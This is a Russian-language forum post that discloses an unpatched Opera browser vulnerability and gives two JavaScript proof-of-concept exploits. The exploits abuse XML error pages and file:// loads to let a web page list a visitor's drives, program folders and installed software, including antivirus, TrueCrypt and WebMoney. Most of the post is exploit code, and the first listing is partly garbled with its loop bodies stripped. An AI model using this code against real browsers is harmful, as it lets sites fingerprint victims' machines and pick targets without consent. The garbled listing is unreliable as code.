Доступ к локальным файлам из сети. Часть вторая (Opera, 0day)

[M_script]

http://si0.twimg.com/a/1342576238/t1/img/bird-topbar-blue.png follow (http://twitter.com/M_script)

Уязвимость аналогична той, которую я нашел в прошлом году - http://forum.antichat.net/thread307415.html

Загружаем во фрейм xml-документ с ошибкой синтаксиса, получаем вывод сообщения об ошибке.

При выводе ошибки opera подгружает локальный css-файл, при этом отключая политику безопасности. После замены содержимого фрейма, xml-документ обрабатывается как html.

Для проверки статуса загрузки файла на этот раз использую свойство complete обекта image.

PoC (Windows, Linux; Opera

varifr=frames[0].document.documentElement;

vardiskArr='CDEFGHIJKLMNOPQRSTUVWXYZ';

vardiskDiv=document.createElement('div');

diskDiv.innerHTML='disks:
';

document.body.appendChild(diskDiv);

vardirArr= new Array(

'program files',

'program files (x86)'

);

vardirDiv=document.createElement('div');

dirDiv.innerHTML='
program folders:
';

document.body.appendChild(dirDiv);

varprogArr= new Array(

'adobe',

'akelpad',

'alcohol soft',

'avira',

'charles',

'daemon tools lite',

'drweb',

'eset',

'filezilla ftp client',

'filezilla ftp server',

'icq7.1',

'icq7.2',

'icq7.3',

'icq7.4',

'icq7.5',

'icq7.6',

'icq7.7',

'kaspersky lab',

'mcafee',

'microsoft office',

'microsoft visual studio',

'microsoft.net',

'mozilla firefox',

'nmap',

'nvidia corporation',

'notepad++',

'psi+',

'paragon software',

'qip',

'qip2010',

'qip2011',

'skype',

'teamviewer',

'total commander',

'truecrypt',

'utorrent',

'webmoney',

'winpcap',

'winrar',

'wireshark'

);

varprogDiv=document.createElement('div');

progDiv.innerHTML='
programs:
';

document.body.appendChild(progDiv);

functionadd(name,type,img)

{

if(img.complete)

{

switch(type)

{

case0:

diskDiv.innerHTML+=name+'
';

checkDir(name);

break



case1:

dirDiv.innerHTML+=name+'
';

checkProg(name);

break;



case2:

progDiv.innerHTML+=name+'
';

break;



case3:

progDiv.innerHTML+=name+'
';

}

}

else if(type==3)

{

checkDisk();

}

}

functioncheckProg(dir)

{

for(varj in progArr)

ifr.innerHTML="";

}

functioncheckDir(disk)

{

for(varj in dirArr)

ifr.innerHTML="";

}

functioncheckDisk()

{

for(vari in diskArr)

ifr.innerHTML="";

}

(function()

{

ifr.innerHTML="";

})()





[/COLOR]
[/PHP]

тема на rdot.org (https://rdot.org/forum/showthread.php?p=29142)

[M_script]

6 ноября вышла новая версия браузера Opera - 12.10, ошибка не исправлена.

Кое-какие изменения все же есть, поэтому предыдущий пример уже не работает. Теперь свойство complete обекта image зависит от типа файла, поэтому подходит только для проверки изображений.

PoC (Windows; Opera 12.10)

http://mscript.biz/opera_localfiles2.html


PHP:


varifr=frames[0].document.documentElement;

vardiskArr='CDEFGHIJKLMNOPQRSTUVWXYZ';

vardiskDiv=document.createElement('div');

diskDiv.innerHTML='disks:
';

document.body.appendChild(diskDiv);



vardirArr= new Array(

'program files',

'program files (x86)'

);

vardirDiv=document.createElement('div');

dirDiv.innerHTML='
program folders:
';

document.body.appendChild(dirDiv);

varprogArr= new Array(

'adobe',

'akelpad',

'alcohol soft',

'avira',

'charles',

'daemon tools lite',

'drweb',

'eset',

'filezilla ftp client',

'filezilla ftp server',

'icq7.1',

'icq7.2',

'icq7.3',

'icq7.4',

'icq7.5',

'icq7.6',

'icq7.7',

'kaspersky lab',

'mcafee',

'microsoft office',

'microsoft visual studio',

'microsoft.net',

'mozilla firefox',

'nmap',

'nvidia corporation',

'notepad++',

'psi+',

'paragon software',

'qip',

'qip2010',

'qip2011',

'skype',

'teamviewer',

'total commander',

'truecrypt',

'utorrent',

'webmoney',

'winpcap',

'winrar',

'wireshark'

);

varprogDiv=document.createElement('div');

progDiv.innerHTML='
programs:
';

document.body.appendChild(progDiv);

functionadd(name,type,scr)

{

ifr.all[0].removeChild(scr);

switch(type)

{

case0:

diskDiv.innerHTML+=name+'
';

checkDir(name);

break



case1:

dirDiv.innerHTML+=name+'
';

checkProg(name);

break;



case2:

progDiv.innerHTML+=name+'
';

break;

}

}

functioncheckProg(dir)

{

for(vari in progArr)

{

varscr=document.createElement('scr ipt');

scr.onload= new Function('top.add("'+dir+'/'+progArr[i] +'", 2, this)');

scr.src='file://'+dir+'/'+progArr[i];

ifr.all[0].appendChild(scr);

}

}

functioncheckDir(disk)

{

for(vari in dirArr)

{

varscr=document.createElement('scr ipt');

scr.onload= new Function('top.add("'+disk+'/'+dirArr[i] +'", 1,this)');

scr.src='file://'+disk+'/'+dirArr[i];

ifr.all[0].appendChild(scr);

}

}

(functioncheckDisk()

{

for(vari in diskArr)

{

varscr=document.createElement('scr ipt');

scr.onload= new Function('top.add("'+diskArr[i] +':", 0, this)');

scr.src='file://'+diskArr[i] +':';

ifr.all[0].appendChild(scr);

}

})()